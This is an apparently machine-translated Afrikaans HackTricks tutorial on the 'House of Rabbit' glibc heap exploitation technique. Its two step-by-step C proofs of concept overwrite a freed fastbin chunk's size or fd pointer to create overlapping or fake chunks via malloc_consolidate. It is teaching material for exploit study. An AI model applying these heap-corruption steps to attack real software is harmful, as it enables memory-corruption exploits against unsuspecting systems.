hacktricks/binary-exploitation/libc-heap/house-of-rabbit.md

# Huis van die Haas

{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Ondersteun HackTricks</summary>

* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

</details>
{% endhint %}

### Vereistes

1. **Vermoeë om vinnige bin fd-aanwyser of grootte te wysig**: Dit beteken jy kan die voorwaartse aanwyser van 'n blok in die vinnige bin verander of sy grootte.
2. **Vermoeë om `malloc_consolidate` te aktiveer**: Dit kan gedoen word deur óf 'n groot blok toe te ken óf die boonste blok saam te voeg, wat die hoop dwing om blokke te konsolideer.

### Doelwitte

1. **Skep oorvleuelende blokke**: Om een blok met 'n ander te laat oorvleuel, wat verdere hoopmanipulasies moontlik maak.
2. **Vals blokke vervals**: Om die toewysers te mislei om 'n vals blok as 'n regmatige blok tydens hoopoperasies te hanteer.

## Stappe van die aanval

### POC 1: Wysig die grootte van 'n vinnige bin-blok

**Doel**: Skep 'n oorvleuelende blok deur die grootte van 'n vinnige bin-blok te manipuleer.

* **Stap 1: Ken Blokke Toe**
```cpp
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state
```
* **Stap 2: Vrygemaakte brokke**
```cpp
free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050
```
### Ons maak albei brokke vry, en voeg hulle by die fastbin-lys.

* **Stap 3: Wysig Brok Grootte**
```cpp
chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
```
### Ons verander die grootte metadata van `chunk1` na 0xa1. Dit is 'n noodsaaklike stap om die toewysingsprogram tydens konsolidasie te mislei.

* **Stap 4: Trigger `malloc_consolidate`**
```cpp
malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation
```
### POC 2: Wysig die `fd` wyser

**Doel**: Skep 'n vals blokkie deur die vinnige bin `fd` wyser te manipuleer.

* **Stap 1: Allokeer Blokkies**
```cpp
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
```
**Verduideliking**: Ons ken twee stukke toe, een kleiner en een groter, om die heap op te stel vir die vals stuk.

* **Stap 2: Skep vals stuk**
```cpp
chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
```
* **Stap 3: Vry `chunk1`**
```cpp
free(chunk1);  // Frees the chunk at 0x602000
```
**Verduideliking**: Ons vry `chunk1`, deur dit by die fastbin-lys te voeg.

* **Stap 4: Wysig `fd` van `chunk1`**
```cpp
chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2
```
**Verduideliking**: Ons verander die voorwaartse aanwyser (`fd`) van `chunk1` om te wys na ons valse stuk binne `chunk2`.

* **Stap 5: Trigger `malloc_consolidate`**
```cpp
malloc(5000);  // Allocate a large chunk to trigger heap consolidation
```
Die toewysing van 'n groot blok veroorsaak weer `malloc_consolidate`, wat die valse blok verwerk.

Die valse blok word deel van die fastbin-lys, wat dit 'n legitieme blok maak vir verdere uitbuiting.

### Opsomming

Die **House of Rabbit** tegniek behels óf die wysiging van die grootte van 'n fast bin blok om oorvleulende blokke te skep, óf die manipulasie van die `fd` wyser om valse blokke te skep. Dit stel aanvallers in staat om legitieme blokke in die heap te vervals, wat verskeie vorme van uitbuiting moontlik maak. Die begrip en oefening van hierdie stappe sal jou heap-uitbuitingsvaardighede verbeter.